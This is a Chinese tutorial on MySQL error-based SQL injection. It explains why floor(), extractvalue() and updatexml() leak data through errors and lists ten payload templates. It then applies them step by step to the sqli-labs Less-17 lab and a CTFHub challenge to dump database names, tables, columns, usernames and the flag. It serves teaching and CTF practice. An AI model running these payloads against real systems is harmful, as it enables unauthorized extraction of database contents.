往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。
当在⼀个聚合函数,⽐如count
函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误的形式显⽰出来。这些函数分别是:
Rand() //随机函数
Floor() //取整函数
Count() //聚合函数
Group by key //分组语句
例如,利⽤floor()
语句报错,是利⽤floor()
,count()
,group() by
冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。
extractvalue
注⼊的原理:依旧如同updatexml
⼀样,extract
的第⼆个参数要求是xpath
格式字符串,⽽我们输⼊的并不是。所以报错。
函数解释: extractvalue():从⽬标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称,⽂中为Doc
第⼆个参数:XPath_string (Xpath格式的字符串)
oncat:返回结果为连接参数产⽣的字符串。
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
环境:sqli-labs
注入点:http://127.0.0.1/sqli-labs/Less-17/
它的查询语句是:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
判断用户名是否存在,存在的话那么就重置 $password
的值,这样我们就可以闭合来导致报错注入!
注:extractvalue() 函数不支持低版本 mysql
注入前的payload:
and extractvalue(1,concat(0x7e,(你的注入Payload),0x7e))#
注入后的payload:
and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
我们先抓个包:
这个时候我们就可以吧注入语句放到 passwd=
后面:
saul' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
saul' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
saul' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
saul' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#
saul' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#
limit 0,1
, 从你的表中的第0
个数据开始,只读取一个;想读第二个那么就是这样:
saul' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 1,1) as a),0x7e))#
以此类推!
再来一个 CTF 报错注入的案例!
题目地址:http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/
加一个单引号报错:数字类型报错注入
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=1'
order by 2
返回正常:说明有 2
列
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=1 order by 2
用到的函数是 updatexml()
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,updatexml(1,concat(0x7e,(select database())),1) --+
还可以用 extractvalue()
函数也是可以的,而且只需要两个参数
:
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select database()))) --+
这个时候得到了当前数据库名为:sqli
爆所有的表名用到的函数是 group_concat()
函数,这个函数是将查询的数据返回成一个字符串
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
这样就得到了两个表名:news
,flag
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'))) --+
得到了列名只有:flag
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select flag from flag))) --+
这个时候查询 flag
表名下的 flag
字段内容时候你会发现它爆的不完整!这是为什么呢?
答:因为使用xpath报错
它最多只显示32位字符
,也就是我们爆出来的:ctfhub{bd267b79241a7d4d8aae3e61
,所以后面的它没能爆出来!
这个时候我们就需要用到 mid
函数来进行字符串截取
操作来爆出后面的字符串!
mid(str,start,[length])
str:截取的字符串
start:起始位置
length:截取的长度,可以忽略
这个时候加上 mid
函数我们就可以使用这个语句来得到后面的字符串值:4aba1f8913774ff2}
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,mid((select flag from flag),32))) --+
最后再拼接起来得到 flag:ctfhub{bd267b79241a7d4d8aae3e614aba1f8913774ff2}
至此MySQL手工注入之报错注入就到此为止!